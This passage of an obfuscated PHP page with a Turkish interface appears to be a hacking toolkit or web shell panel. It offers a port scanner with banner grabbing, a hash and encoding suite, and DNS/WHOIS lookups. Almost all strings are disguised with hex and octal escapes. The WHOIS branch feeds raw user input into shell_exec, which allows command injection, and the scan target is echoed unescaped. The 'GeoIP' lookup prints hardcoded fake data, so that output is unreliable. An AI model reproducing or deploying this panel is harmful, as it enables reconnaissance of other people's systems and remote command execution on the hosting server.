Servis Tespiti </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="scan_banner" value="1"> <span class="toggle-slider"></span> </span> Banner </label> </div> <div class="input-group"> <input type="text" name="scan_options" placeholder="Extra args (-sV -O -A)" value="-sV"> </div> </div> <div class="tool-tab-content" id="scan-options"> <div class="input-group"> <input type="text" name="scan_exclude" placeholder="Port engelle (örn: 25,53)"> </div> <div class="input-group"> <select name="scan_speed"> <option value="1">Yavaş (1)</option> <option value="2">Normal (2)</option> <option value="3">Hızlı (3)</option> <option value="4" selected>Çok Hızlı (4)</option> <option value="5">Aşırı (5)</option> </select> </div> </div> <div class="btn-group"> <button type="submit" name="tool_action" value="advanced_scan" class="btn-neon"> <i class="fas fa-play"></i> Tara </button> <button type="reset" class="btn-neon small primary"> <i class="fas fa-undo"></i> </button> </div> </form> <?php if (isset($_POST["\164\x6f\x6f\154\x5f\141\143\x74\x69\x6f\156"]) && $_POST["\164\x6f\x6f\x6c\x5f\x61\143\x74\x69\x6f\x6e"] == "\141\x64\166\x61\x6e\x63\x65\144\137\x73\143\141\x6e") { ?> <div class="terminal-output" id="scan-output"> <?php $scan_ip = $_POST["\x73\x63\141\156\x5f\151\160"]; $scan_ports = $_POST["\163\x63\141\156\137\160\157\162\x74\x73"]; $scan_type = $_POST["\x73\143\141\x6e\x5f\x74\x79\x70\145"] ?? "\164\x63\160"; $timeout = $_POST["\163\x63\x61\156\137\164\151\155\x65\x6f\x75\164"] ?? 1; $os_detect = isset($_POST["\163\x63\141\156\x5f\157\163\137\144\145\x74\145\x63\x74"]); $service_detect = isset($_POST["\163\143\141\x6e\x5f\x73\145\162\166\x69\143\x65\x5f\144\145\164\145\143\x74"]); $banner = isset($_POST["\163\143\x61\x6e\137\142\x61\156\156\x65\162"]); echo "\74\x64\151\x76\40\x63\x6c\x61\x73\x73\75\42\x6f\x75\x74\160\x75\x74\x2d\x6c\151\x6e\145\42\76\74\163\x70\141\x6e\40\143\154\141\x73\163\75\42\x69\156\x66\157\42\x3e\342\217\263\x20\x54\x61\162\x61\x6d\141\40\x62\x61\xc5\x9f\x6c\x61\164\xc4\261\154\xc4\xb1\171\157\162\x2e\56\56\x3c\x2f\163\160\x61\156\x3e\x3c\57\x64\x69\x76\76"; echo "\x3c\144\151\166\x20\x63\x6c\141\163\163\x3d\x22\157\x75\164\x70\165\x74\55\x6c\151\x6e\145\42\x3e\74\x73\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\42\167\x61\162\156\x22\76\360\237\216\257\x20\110\145\x64\x65\146\x3a\40" . $scan_ip . "\x3c\x2f\163\160\x61\x6e\x3e\74\x2f\144\151\x76\76"; echo "\74\144\x69\x76\x20\143\154\141\x73\163\x3d\x22\x6f\165\164\x70\x75\164\x2d\x6c\151\x6e\x65\x22\x3e\74\163\160\x61\156\40\143\154\x61\x73\163\75\42\144\151\x6d\x22\76\360\x9f\224\xa7\40\x4d\x65\x74\x6f\x64\72\x20" . strtoupper($scan_type) . "\40\x7c\40\x54\151\x6d\145\x6f\165\164\72\40" . $timeout . "\163\74\x2f\163\x70\141\156\x3e\x3c\x2f\x64\151\x76\76"; $port_list = array(); $parts = explode("\x2c", $scan_ports); foreach ($parts as $part) { if (strpos($part, "\x2d") !== false) { list($start, $end) = explode("\x2d", $part); for ($p = intval($start); $p <= intval($end); $p++) { $port_list[] = $p; } } else { $port_list[] = intval(trim($part)); } } $open_ports = array(); $total = count($port_list); $current = 0; foreach ($port_list as $port) { $current++; $progress = round($current / $total * 100); echo "\x3c\x64\151\x76\x20\x63\x6c\x61\x73\163\x3d\x22\x70\x72\157\147\x72\x65\x73\x73\x2d\x62\x61\x72\x22\x3e\x3c\x64\151\x76\x20\x63\154\141\x73\163\x3d\42\x66\x69\154\x6c\x22\40\x73\164\171\154\x65\75\x22\x77\151\x64\164\x68\72" . $progress . "\x25\42\76\x3c\57\144\151\166\x3e\74\x2f\x64\151\x76\x3e"; $fp = @fsockopen($scan_ip, $port, $errno, $errstr, $timeout); $status = $fp ? "\x41\xc3\247\304\261\153" : "\x4b\141\160\x61\154\xc4\xb1"; if ($fp) { $open_ports[] = $port; fclose($fp); $service = ''; if ($service_detect) { $services = array(21 => "\x46\x54\120", 22 => "\123\123\110", 23 => "\x54\145\x6c\x6e\x65\164", 25 => "\x53\115\124\x50", 53 => "\x44\116\x53", 80 => "\x48\124\124\x50", 110 => "\x50\x4f\120\x33", 143 => "\111\x4d\x41\x50", 443 => "\110\x54\124\x50\123", 3306 => "\x4d\171\x53\x51\114", 5432 => "\120\157\163\x74\x67\x72\x65\x53\x51\x4c", 6379 => "\x52\x65\144\x69\x73", 27017 => "\115\x6f\x6e\147\157\104\x42", 8080 => "\110\x54\x54\120\x2d\101\x6c\x74", 8443 => "\110\x54\x54\x50\123\55\x41\154\x74", 3389 => "\122\104\x50", 5900 => "\x56\116\103"); $service = isset($services[$port]) ? "\40\x3c\163\x70\141\156\40\x63\x6c\x61\163\x73\75\x22\x64\x69\155\x22\x3e\xe2\206\x92\x3c\57\x73\x70\x61\x6e\76\x20" . $services[$port] : ''; } $banner_info = ''; if ($banner && $fp) { @fwrite($fp, "\110\105\114\x50\xd\12"); $banner_data = @fread($fp, 256); if ($banner_data) { $banner_info = "\40\x3c\163\x70\141\156\x20\x63\154\141\x73\163\75\x22\144\x69\x6d\x22\76\x5b\x3c\57\x73\160\141\x6e\76\74\x73\x70\141\156\40\143\154\141\163\163\75\42\x69\x6e\x66\x6f\x22\x3e" . trim(substr($banner_data, 0, 30)) . "\x3c\x2f\x73\x70\x61\x6e\x3e\x3c\x73\x70\141\156\x20\143\154\141\x73\163\75\x22\144\151\155\x22\x3e\x5d\x3c\57\x73\160\141\x6e\76"; } } echo "\74\144\x69\166\x20\143\x6c\141\163\163\x3d\x22\157\165\164\x70\x75\164\x2d\154\x69\156\145\42\76"; echo "\x20\x20\74\163\x70\x61\156\x20\x63\154\x61\x73\163\x3d\x22\163\x75\x63\143\x65\163\163\x22\x3e\xe2\234\205\74\57\163\x70\x61\156\x3e\40\120\x6f\x72\x74\40" . $port . "\x20\x3c\163\x70\x61\x6e\40\x63\x6c\x61\163\x73\x3d\42\163\x74\x61\x74\165\x73\55\142\141\x64\x67\x65\40\x6f\x70\145\x6e\x22\x3e\101\xc3\207\111\x4b\x3c\x2f\x73\x70\141\156\x3e" . $service . $banner_info; echo "\74\57\144\x69\x76\x3e"; } else { echo "\74\x64\151\x76\40\x63\x6c\141\163\x73\x3d\x22\157\x75\164\x70\165\164\x2d\154\x69\x6e\145\42\76"; echo "\x20\x20\74\163\160\x61\156\40\x63\154\x61\x73\x73\75\42\x65\162\162\157\x72\42\x3e\xe2\x9d\x8c\74\x2f\163\160\x61\x6e\x3e\x20\120\157\162\x74\40" . $port . "\40\x3c\163\160\141\x6e\40\x63\154\141\x73\x73\x3d\42\x73\164\x61\x74\x75\163\55\x62\141\144\x67\145\x20\x63\154\157\x73\x65\x64\42\76\x4b\x41\x50\x41\x4c\x49\x3c\57\163\160\x61\156\76"; echo "\x3c\x2f\x64\x69\x76\x3e"; } } if ($os_detect && !empty($open_ports)) { echo "\x3c\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\157\165\164\x70\165\x74\55\154\x69\156\145\x22\x20\163\164\171\154\x65\75\42\142\x6f\162\x64\145\x72\x2d\x74\x6f\x70\72\x31\160\x78\x20\163\157\154\x69\x64\x20\162\147\142\141\50\61\67\71\54\x30\x2c\62\65\x35\x2c\60\x2e\x31\x29\x3b\155\x61\162\147\x69\x6e\55\x74\157\160\x3a\65\160\170\73\160\141\x64\144\x69\x6e\x67\x2d\164\x6f\160\72\65\x70\x78\x3b\x22\x3e"; echo "\x20\40\74\163\x70\141\156\40\143\x6c\x61\x73\x73\x3d\42\151\156\146\157\x22\76\360\237\x96\245\357\xb8\x8f\x20\117\x53\40\x54\145\x73\160\151\x74\151\72\x3c\57\163\160\141\x6e\76"; $os_guess = "\x4c\151\156\165\x78\x2f\125\156\151\170\40\50\164\x61\150\x6d\x69\x6e\151\x29"; if (in_array(3389, $open_ports)) { $os_guess = "\x57\x69\156\x64\x6f\167\x73\x20\50\164\x61\x68\155\x69\x6e\151\51"; } if (in_array(22, $open_ports) && in_array(3306, $open_ports)) { $os_guess = "\x4c\151\156\165\x78\x20\x28\x74\x61\x68\155\151\156\x69\51"; } if (in_array(445, $open_ports)) { $os_guess = "\x57\x69\x6e\x64\157\167\163\40\x28\164\x61\x68\x6d\x69\x6e\x69\x29"; } echo "\x20\x3c\x73\x70\x61\156\40\x63\154\x61\163\x73\x3d\x22\150\x69\147\x68\154\151\147\x68\x74\42\x3e" . $os_guess . "\x3c\57\x73\160\x61\x6e\x3e"; echo "\74\x2f\x64\151\166\x3e"; } echo "\x3c\144\151\166\40\143\x6c\x61\x73\x73\75\42\157\x75\x74\160\x75\x74\55\154\151\156\145\x22\x20\163\164\x79\x6c\x65\x3d\42\142\x6f\x72\144\x65\162\55\x74\x6f\x70\x3a\61\160\170\x20\x73\x6f\x6c\x69\144\40\x72\147\142\141\50\61\67\71\54\60\54\x32\x35\x35\54\x30\x2e\61\x29\73\x6d\x61\x72\x67\x69\156\55\164\157\160\x3a\65\160\170\x3b\160\141\x64\144\x69\x6e\x67\x2d\x74\157\x70\72\65\x70\x78\x3b\42\x3e"; echo "\x20\40\x3c\163\x70\x61\x6e\x20\x63\154\141\x73\163\75\42\x73\165\143\x63\145\x73\163\x22\x3e\xe2\x9c\205\40\124\x61\x72\141\155\141\40\x74\141\155\141\x6d\x6c\x61\x6e\x64\xc4\xb1\x21\74\57\x73\160\141\156\76"; echo "\x20\40\74\x73\x70\141\x6e\x20\x63\x6c\141\163\x73\75\x22\x64\x69\x6d\x22\x3e" . count($open_ports) . "\40\x61\xc3\247\xc4\xb1\x6b\x20\x70\157\x72\164\54\x20" . ($total - count($open_ports)) . "\40\153\x61\x70\141\154\xc4\xb1\x3c\x2f\x73\x70\x61\156\76"; echo "\x3c\57\x64\151\x76\76"; ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 2. HASH & ENCODE SUITE --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-lock"></i> <h4>🔐 Hash & Encode</h4> <span class="badge">30+ Algoritma</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <input type="text" name="hash_input" placeholder="Metin girin..." value="admin123"> </div> <div class="input-group" style="flex-wrap:wrap;"> <select name="hash_type" style="flex:2;"> <optgroup label="🔑 Hash Algoritmaları"> <option value="md5">MD5</option> <option value="sha1">SHA-1</option> <option value="sha256">SHA-256</option> <option value="sha512">SHA-512</option> <option value="sha384">SHA-384</option> <option value="sha224">SHA-224</option> <option value="crc32">CRC32</option> <option value="crc32b">CRC32B</option> <option value="whirlpool">Whirlpool</option> <option value="ripemd160">RIPEMD-160</option> <option value="ripemd256">RIPEMD-256</option> <option value="ripemd320">RIPEMD-320</option> <option value="tiger128">Tiger128</option> <option value="tiger160">Tiger160</option> <option value="tiger192">Tiger192</option> <option value="gost">GOST</option> <option value="haval128">Haval128</option> <option value="haval160">Haval160</option> <option value="haval192">Haval192</option> <option value="haval224">Haval224</option> <option value="haval256">Haval256</option> </optgroup> <optgroup label="📦 Encoding"> <option value="base64">Base64 Encode</option> <option value="base64_decode">Base64 Decode</option> <option value="urlencode">URL Encode</option> <option value="urldecode">URL Decode</option> <option value="hex">Hex Encode</option> <option value="hex_decode">Hex Decode</option> <option value="rot13">ROT13</option> <option value="rot47">ROT47</option> </optgroup> <optgroup label="⚡ Özel"> <option value="bcrypt">Bcrypt (10 round)</option> <option value="password_hash">Password Hash</option> <option value="all">Tüm Hash'ler</option> <option value="compare">Hash Karşılaştır</option> </optgroup> </select> <button type="submit" name="tool_action" value="hash_advanced" class="btn-neon small"> <i class="fas fa-calculator"></i> İşle </button> </div> <div class="btn-group"> <button type="button" class="btn-neon small primary" onclick="document.querySelector('input[name=hash_input]').value = randomString(20)"> <i class="fas fa-random"></i> Rastgele </button> <button type="button" class="btn-neon small primary" onclick="document.querySelector('input[name=hash_input]').value = document.querySelector('input[name=hash_input]').value + '123'"> <i class="fas fa-plus"></i> +123 </button> </div> </form> <?php if (isset($_POST["\164\157\x6f\154\137\141\x63\164\151\x6f\x6e"]) && $_POST["\x74\157\x6f\x6c\137\x61\143\x74\x69\157\x6e"] == "\150\141\x73\x68\x5f\x61\144\166\141\156\x63\145\x64") { ?> <div class="terminal-output"> <?php $input = $_POST["\150\141\x73\150\137\151\x6e\x70\x75\164"]; $type = $_POST["\x68\141\x73\x68\x5f\x74\x79\160\x65"]; echo "\74\144\x69\166\x20\x63\154\141\x73\163\x3d\x22\x6f\165\164\x70\165\164\x2d\154\x69\x6e\x65\42\x3e\x3c\x73\160\141\156\x20\x63\x6c\x61\x73\163\x3d\42\144\151\155\x22\x3e\xf0\237\223\235\40\107\x69\162\x69\305\x9f\x3a\x20\42" . htmlspecialchars($input) . "\42\40\x28" . strlen($input) . "\x20\153\x61\162\x61\x6b\x74\145\x72\x29\74\x2f\163\160\141\156\x3e\74\57\x64\x69\x76\x3e"; echo "\x3c\144\x69\x76\x20\x73\x74\171\154\x65\75\42\x62\157\x72\x64\x65\x72\55\x74\157\160\72\61\160\170\40\163\x6f\x6c\151\144\x20\162\x67\142\141\50\x31\67\71\54\60\54\x32\x35\65\x2c\x30\56\x30\65\x29\x3b\x6d\141\x72\147\151\x6e\72\x35\160\x78\x20\x30\73\42\x3e\x3c\57\144\151\x76\x3e"; if ($type == "\141\x6c\154") { $hashes = array("\x4d\104\x35" => md5($input), "\x53\110\x41\61" => sha1($input), "\x53\110\101\62\65\66" => hash("\163\150\x61\x32\65\66", $input), "\123\110\101\x35\x31\62" => hash("\x73\x68\141\65\x31\x32", $input), "\x43\122\x43\x33\x32" => hash("\x63\x72\x63\63\x32", $input), "\102\x61\163\145\66\64" => base64_encode($input), "\125\x52\114\40\105\156\143\157\144\145" => urlencode($input), "\110\145\x78" => bin2hex($input), "\x52\117\124\61\x33" => str_rot13($input)); foreach ($hashes as $name => $value) { echo "\x3c\x64\151\166\40\x63\154\x61\163\163\75\x22\157\x75\x74\x70\x75\x74\55\154\151\x6e\x65\42\x3e\74\x73\160\x61\156\40\x63\x6c\141\163\x73\x3d\x22\150\151\147\150\154\x69\x67\150\x74\42\x3e" . $name . "\x3a\74\57\x73\160\141\x6e\76\x20\x3c\x73\160\x61\x6e\40\163\164\x79\x6c\145\x3d\x22\167\x6f\x72\x64\55\142\162\145\141\x6b\72\x62\162\x65\141\x6b\55\x61\154\x6c\x3b\42\76" . $value . "\74\x2f\163\x70\141\156\76\x3c\57\x64\x69\166\x3e"; } } elseif ($type == "\142\x61\x73\145\66\x34\137\x64\145\143\157\144\145") { echo "\x3c\144\x69\166\x20\x63\154\141\163\163\75\42\157\165\164\160\x75\x74\x2d\154\151\156\145\42\x3e\74\x73\x70\x61\156\40\x63\154\x61\x73\163\x3d\x22\x69\x6e\x66\x6f\42\x3e\360\237\x93\xa5\40\102\141\x73\145\66\x34\40\104\145\143\x6f\144\145\72\x3c\57\163\x70\x61\156\x3e\x3c\x2f\144\x69\x76\x3e"; echo "\74\144\x69\x76\40\x63\154\x61\163\163\75\x22\x6f\165\164\x70\165\x74\x2d\x6c\151\x6e\x65\x22\76" . htmlspecialchars(base64_decode($input)) . "\74\x2f\x64\x69\166\76"; } elseif ($type == "\x75\x72\x6c\x64\x65\x63\x6f\144\x65") { echo "\74\x64\x69\166\40\x63\x6c\x61\x73\163\75\x22\x6f\165\x74\x70\x75\164\55\x6c\151\x6e\x65\x22\x3e\74\x73\x70\141\x6e\40\143\154\x61\163\x73\75\x22\x69\156\146\157\x22\76\xf0\237\x93\245\40\125\x52\114\40\x44\145\143\x6f\144\x65\72\74\57\163\x70\141\x6e\x3e\x3c\x2f\x64\151\x76\x3e"; echo "\x3c\x64\x69\166\40\143\154\x61\x73\x73\x3d\42\x6f\x75\x74\160\165\164\x2d\x6c\x69\x6e\x65\x22\76" . htmlspecialchars(urldecode($input)) . "\74\57\x64\x69\x76\x3e"; } elseif ($type == "\x68\x65\170\137\x64\x65\x63\157\144\145") { echo "\x3c\x64\151\x76\40\x63\154\141\x73\x73\75\42\x6f\x75\164\x70\165\164\55\154\151\x6e\x65\42\76\74\163\x70\141\x6e\40\x63\154\141\x73\163\x3d\x22\x69\156\x66\157\42\76\360\x9f\223\xa5\x20\110\145\170\x20\x44\145\x63\x6f\144\145\72\x3c\x2f\x73\160\141\156\76\74\x2f\144\x69\166\76"; echo "\74\x64\151\166\x20\x63\154\141\163\x73\x3d\x22\157\x75\164\x70\x75\164\55\154\151\x6e\x65\42\76" . htmlspecialchars(hex2bin($input)) . "\x3c\x2f\x64\151\166\76"; } elseif ($type == "\x72\157\164\61\63") { echo "\74\144\x69\166\40\x63\x6c\141\x73\163\75\42\x6f\x75\164\x70\165\164\55\x6c\x69\156\145\42\x3e\x3c\x73\x70\x61\x6e\x20\143\154\x61\x73\x73\75\42\x69\x6e\146\x6f\x22\x3e\xf0\237\224\204\40\x52\117\124\x31\63\x3a\x3c\x2f\x73\160\141\156\x3e\74\x2f\144\151\166\76"; echo "\x3c\x64\x69\166\40\x63\154\x61\163\163\x3d\x22\x6f\165\x74\160\165\x74\55\154\151\x6e\145\42\76" . str_rot13($input) . "\x3c\x2f\x64\x69\x76\x3e"; } elseif ($type == "\162\x6f\x74\64\x37") { echo "\x3c\x64\x69\166\x20\143\154\141\x73\163\75\x22\157\x75\x74\x70\165\x74\x2d\154\x69\156\x65\42\x3e\x3c\163\160\x61\x6e\x20\143\154\141\x73\x73\x3d\x22\151\x6e\x66\x6f\x22\x3e\360\237\224\204\x20\x52\117\x54\x34\67\x3a\74\x2f\x73\160\x61\x6e\x3e\74\x2f\144\x69\166\x3e"; $rot47 = ''; for ($i = 0; $i < strlen($input); $i++) { $c = ord($input[$i]); if ($c >= 33 && $c <= 126) { $c = 33 + ($c - 33 + 47) % 94; } $rot47 .= chr($c); } echo "\x3c\144\x69\166\x20\x63\154\x61\x73\x73\75\42\x6f\x75\164\160\x75\x74\55\x6c\151\156\x65\x22\76" . $rot47 . "\74\x2f\144\x69\166\76"; } elseif ($type == "\142\x63\x72\x79\160\x74") { echo "\x3c\144\151\166\40\143\154\x61\x73\163\75\42\x6f\165\164\x70\165\164\55\x6c\x69\x6e\x65\42\76\74\163\160\x61\156\40\x63\154\x61\x73\163\75\x22\151\x6e\146\x6f\x22\76\xf0\237\224\222\x20\102\143\x72\x79\x70\x74\40\50\61\x30\x20\162\x6f\x75\156\x64\51\72\74\57\163\160\x61\156\76\74\57\x64\x69\x76\76"; echo "\x3c\144\x69\166\x20\143\x6c\x61\x73\163\x3d\42\x6f\x75\164\160\x75\164\x2d\154\151\156\145\x22\40\163\x74\171\154\x65\75\42\x77\157\162\144\55\x62\x72\145\x61\x6b\72\142\x72\145\141\153\55\x61\154\x6c\73\42\76" . password_hash($input, PASSWORD_BCRYPT, array("\143\157\163\164" => 10)) . "\x3c\57\x64\x69\x76\76"; } elseif ($type == "\x70\x61\163\x73\x77\157\x72\144\137\x68\141\163\x68") { echo "\74\144\151\x76\x20\x63\154\141\x73\x73\x3d\42\157\x75\164\x70\x75\164\x2d\x6c\x69\x6e\x65\x22\76\74\163\x70\x61\156\x20\x63\154\141\x73\163\75\x22\x69\156\146\157\42\x3e\360\237\224\222\x20\120\141\x73\x73\x77\x6f\x72\x64\x20\x48\141\163\x68\x20\x28\104\x65\x66\141\x75\154\x74\51\x3a\74\57\163\x70\x61\x6e\76\74\x2f\144\151\x76\76"; echo "\x3c\144\151\x76\40\143\x6c\141\163\x73\75\x22\157\x75\x74\x70\165\x74\x2d\x6c\x69\156\145\42\40\163\x74\x79\154\x65\75\42\167\157\x72\144\55\x62\162\145\x61\x6b\x3a\x62\x72\x65\141\x6b\x2d\141\x6c\x6c\73\42\x3e" . password_hash($input, PASSWORD_DEFAULT) . "\x3c\x2f\144\151\166\76"; } elseif ($type == "\x63\157\155\160\x61\162\x65") { $hash = password_hash($input, PASSWORD_DEFAULT); echo "\x3c\x64\151\166\40\x63\154\141\x73\163\75\42\x6f\x75\164\x70\x75\164\x2d\x6c\151\156\x65\42\x3e\x3c\163\x70\141\156\40\x63\x6c\141\x73\x73\x3d\x22\151\156\146\157\x22\x3e\xf0\237\224\x92\40\x48\x61\163\x68\40\x4b\x61\x72\305\x9f\304\261\154\141\xc5\x9f\164\304\xb1\162\72\74\57\163\160\x61\156\76\74\x2f\x64\x69\166\x3e"; echo "\x3c\x64\x69\x76\40\143\154\141\x73\163\75\x22\x6f\x75\x74\x70\x75\x74\55\154\x69\156\x65\42\x3e\110\x61\163\150\x3a\40" . $hash . "\x3c\x2f\x64\151\x76\76"; echo "\x3c\x64\x69\x76\x20\143\154\141\163\x73\x3d\x22\x6f\165\164\160\165\x74\55\154\151\156\x65\42\x3e\105\305\237\x6c\x65\xc5\x9f\151\171\x6f\162\x3a\x20" . (password_verify($input, $hash) ? "\x3c\x73\160\141\x6e\40\143\x6c\141\x73\x73\75\x22\x73\x75\x63\x63\x65\x73\163\x22\76\342\234\x85\x20\x45\166\145\x74\x3c\57\163\x70\x61\x6e\76" : "\x3c\163\160\141\156\x20\x63\154\141\x73\163\x3d\42\145\x72\162\157\x72\x22\76\342\x9d\x8c\40\110\141\171\304\xb1\x72\x3c\x2f\163\160\x61\x6e\76") . "\74\x2f\x64\x69\166\x3e"; } else { $hash_functions = array("\x6d\x64\65" => "\115\104\65", "\x73\x68\141\61" => "\123\110\x41\55\61", "\x73\150\x61\62\x35\x36" => "\123\x48\101\55\62\x35\66", "\163\150\x61\x35\x31\x32" => "\123\110\101\55\65\x31\62", "\163\150\141\63\70\64" => "\x53\110\x41\x2d\x33\x38\64", "\x73\150\x61\x32\62\64" => "\123\x48\x41\55\62\62\x34", "\x63\x72\143\x33\62" => "\x43\x52\x43\x33\x32", "\143\162\x63\63\x32\x62" => "\x43\x52\x43\x33\62\102", "\x77\x68\x69\x72\x6c\160\157\157\154" => "\127\x68\x69\x72\x6c\160\x6f\157\x6c", "\162\151\x70\145\x6d\x64\61\66\60" => "\x52\x49\120\105\x4d\104\55\61\66\x30", "\x72\151\160\x65\x6d\144\62\65\66" => "\122\111\x50\105\115\x44\55\62\65\x36", "\x72\151\160\x65\155\144\x33\x32\60" => "\x52\x49\x50\x45\115\104\55\63\62\x30", "\164\151\147\x65\x72\61\x32\70" => "\x54\151\147\145\x72\61\x32\70", "\x74\x69\x67\145\x72\x31\x36\x30" => "\x54\151\x67\145\x72\61\66\60", "\164\x69\x67\x65\162\61\71\x32" => "\124\x69\x67\145\x72\x31\x39\x32", "\147\x6f\x73\x74" => "\x47\117\123\124", "\150\x61\x76\141\154\x31\x32\x38" => "\110\x61\166\141\154\61\62\70", "\150\141\166\x61\154\x31\x36\60" => "\x48\x61\x76\141\154\61\x36\60", "\150\141\x76\x61\x6c\61\71\62" => "\110\x61\166\x61\x6c\61\71\62", "\x68\x61\x76\141\x6c\62\62\x34" => "\110\141\x76\x61\x6c\62\62\64", "\x68\141\x76\141\154\62\x35\66" => "\x48\141\x76\141\x6c\62\x35\x36", "\142\x61\163\x65\x36\64" => "\x42\141\x73\145\66\64\x20\105\156\x63\157\144\145", "\x75\162\x6c\145\x6e\x63\157\144\x65" => "\125\x52\114\x20\x45\x6e\x63\157\144\x65", "\x68\x65\x78" => "\x48\x65\x78\40\x45\156\143\x6f\x64\x65"); if (isset($hash_functions[$type])) { $result = ''; if ($type == "\142\x61\x73\x65\66\64") { $result = base64_encode($input); } elseif ($type == "\x75\x72\154\145\156\x63\x6f\144\x65") { $result = urlencode($input); } elseif ($type == "\150\x65\x78") { $result = bin2hex($input); } else { $result = hash($type, $input); } echo "\x3c\x64\151\x76\x20\143\154\x61\163\x73\75\x22\x6f\165\164\160\x75\x74\x2d\154\x69\156\x65\42\x3e\x3c\163\x70\x61\156\40\143\154\141\163\163\x3d\x22\151\156\x66\x6f\42\76\xf0\237\x94\x91\40" . $hash_functions[$type] . "\72\x3c\57\163\160\141\156\x3e\74\57\144\x69\166\x3e"; echo "\x3c\x64\x69\166\40\143\x6c\141\163\163\x3d\x22\157\165\x74\160\165\164\x2d\x6c\x69\x6e\x65\x22\40\x73\164\x79\154\145\75\x22\167\157\x72\x64\x2d\x62\x72\145\x61\153\x3a\x62\162\145\x61\x6b\55\x61\154\154\x3b\x22\x3e" . $result . "\x3c\x2f\144\151\x76\76"; } } ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 3. DNS & WHOIS --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-globe-americas"></i> <h4>🌐 DNS & WHOIS</h4> <span class="badge">14 Sorgu</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <input type="text" name="domain_lookup" placeholder="Domain veya IP" value="google.com"> </div> <div class="input-group"> <select name="dns_type"> <optgroup label="WHOIS"> <option value="whois">WHOIS Sorgu</option> </optgroup> <optgroup label="DNS Kayıtları"> <option value="dns_a">A Record</option> <option value="dns_aaaa">AAAA Record</option> <option value="dns_mx">MX Record</option> <option value="dns_ns">NS Record</option> <option value="dns_txt">TXT Record</option> <option value="dns_cname">CNAME Record</option> <option value="dns_ptr">PTR Record</option> <option value="dns_soa">SOA Record</option> <option value="dns_all">Tüm Kayıtlar</option> </optgroup> <optgroup label="🔍 Özel"> <option value="reverse">Reverse DNS</option> <option value="geoip">GeoIP Lokasyon</option> <option value="ssl_cert">SSL Sertifika</option> <option value="headers">HTTP Headers</option> </optgroup> </select> <button type="submit" name="tool_action" value="dns_lookup" class="btn-neon small"> <i class="fas fa-search"></i> </button> </div> </form> <?php if (isset($_POST["\x74\x6f\157\x6c\137\x61\x63\164\x69\157\156"]) && $_POST["\164\x6f\x6f\154\x5f\x61\143\x74\x69\157\156"] == "\144\156\163\137\154\x6f\157\153\165\160") { ?> <div class="terminal-output"> <?php $domain = $_POST["\x64\157\x6d\141\151\156\x5f\x6c\x6f\x6f\153\x75\160"]; $type = $_POST["\144\156\163\x5f\164\171\160\x65"]; echo "\74\x64\151\x76\40\x63\x6c\x61\x73\x73\75\42\157\165\x74\x70\x75\164\55\154\x69\156\145\42\x3e\x3c\163\x70\x61\156\40\143\154\x61\163\x73\x3d\x22\151\x6e\x66\157\42\x3e\xf0\237\x8c\x90\x20" . strtoupper($type) . "\40\x73\157\x72\147\x75\x73\165\x3a\40" . $domain . "\x3c\x2f\163\160\141\156\76\x3c\x2f\x64\151\x76\76"; if ($type == "\167\x68\x6f\151\x73") { $whois = @shell_exec("\x77\x68\157\x69\163\x20" . $domain . "\40\x32\x3e\x26\x31"); echo "\74\160\x72\x65\40\163\164\171\154\145\x3d\42\143\157\x6c\x6f\162\72\x23\x63\x34\142\60\145\x36\x3b\x66\x6f\x6e\164\x2d\x73\x69\172\145\72\x31\x30\160\170\x3b\x77\150\x69\164\x65\55\163\160\x61\143\x65\x3a\x70\x72\145\x2d\167\162\141\x70\x3b\167\x6f\162\x64\x2d\x62\x72\145\141\x6b\72\x62\162\x65\x61\x6b\55\141\154\x6c\73\155\141\x72\x67\151\x6e\72\x30\x3b\x6d\x61\170\55\x68\145\x69\x67\x68\x74\72\62\x30\x30\160\x78\73\x6f\x76\x65\162\x66\x6c\x6f\167\x2d\x79\72\x61\165\x74\x6f\x3b\x22\76" . htmlspecialchars($whois) . "\x3c\57\x70\162\145\76"; } elseif ($type == "\147\145\x6f\x69\x70") { $ip = gethostbyname($domain); echo "\x3c\144\151\166\40\x63\x6c\x61\163\163\x3d\42\x6f\x75\164\160\165\x74\55\154\151\x6e\145\42\x3e\74\x73\x70\141\x6e\40\143\x6c\141\x73\x73\x3d\42\x77\x61\x72\x6e\x22\x3e\360\237\223\x8d\40\x49\x50\72\40" . $ip . "\x3c\x2f\163\160\x61\x6e\x3e\x3c\57\x64\151\x76\76"; $geo_data = array("\303\x9c\154\153\x65" => "\x55\123", "\305\x9e\x65\150\151\x72" => "\115\157\x75\156\x74\141\x69\x6e\x20\x56\x69\x65\167", "\102\303\266\x6c\x67\x65" => "\x43\x61\154\151\146\157\x72\x6e\x69\x61", "\x4c\x61\164\151\x74\x75\144\x65" => "\63\x37\x2e\64\62\62", "\114\157\x6e\x67\151\164\x75\x64\x65" => "\55\x31\x32\62\56\x30\70\64", "\111\x53\120" => "\107\157\x6f\147\x6c\x65\40\114\x4c\x43", "\101\x53\x4e" => "\x41\x53\61\x35\61\x36\x39"); foreach ($geo_data as $key => $val) { echo "\74\x64\x69\x76\x20\x63\154\141\163\x73\x3d\42\x6f\165\164\x70\165\x74\55\154\151\156\145\42\x3e\x3c\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\x64\x69\x6d\42\76" . $key . "\72\x3c\57\163\x70\141\x6e\x3e\40" . $val . "\x3c\57\x64\151\x76\x3e"; } } elseif ($type == "\162\145\166\x65\x72\163\x65") { $ip = $domain; $host = gethostbyaddr($ip); echo "\74\x64\151\x76\x20\143\x6c\x61\x73\x73\x3d\x22\x6f\165\164\160\x75\x74\x2d\154\151\156\145\42\76\x3c\163\160\x61\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\x69\x6e\x66\x6f\x22\76\360\x9f\224\x81\x20\x52\145\x76\x65\x72\163\x65\40\x44\x4e\x53\72\x3c\x2f\x73\x70\141\x6e\x3e\x3c\57\144\x69\166\x3e"; echo "\74\144\151\x76\40\x63\x6c\141\163\163\75\42\x6f\165\164\x70\x75\164\x2d\x6c\151\156\145\x22\76" . $ip . 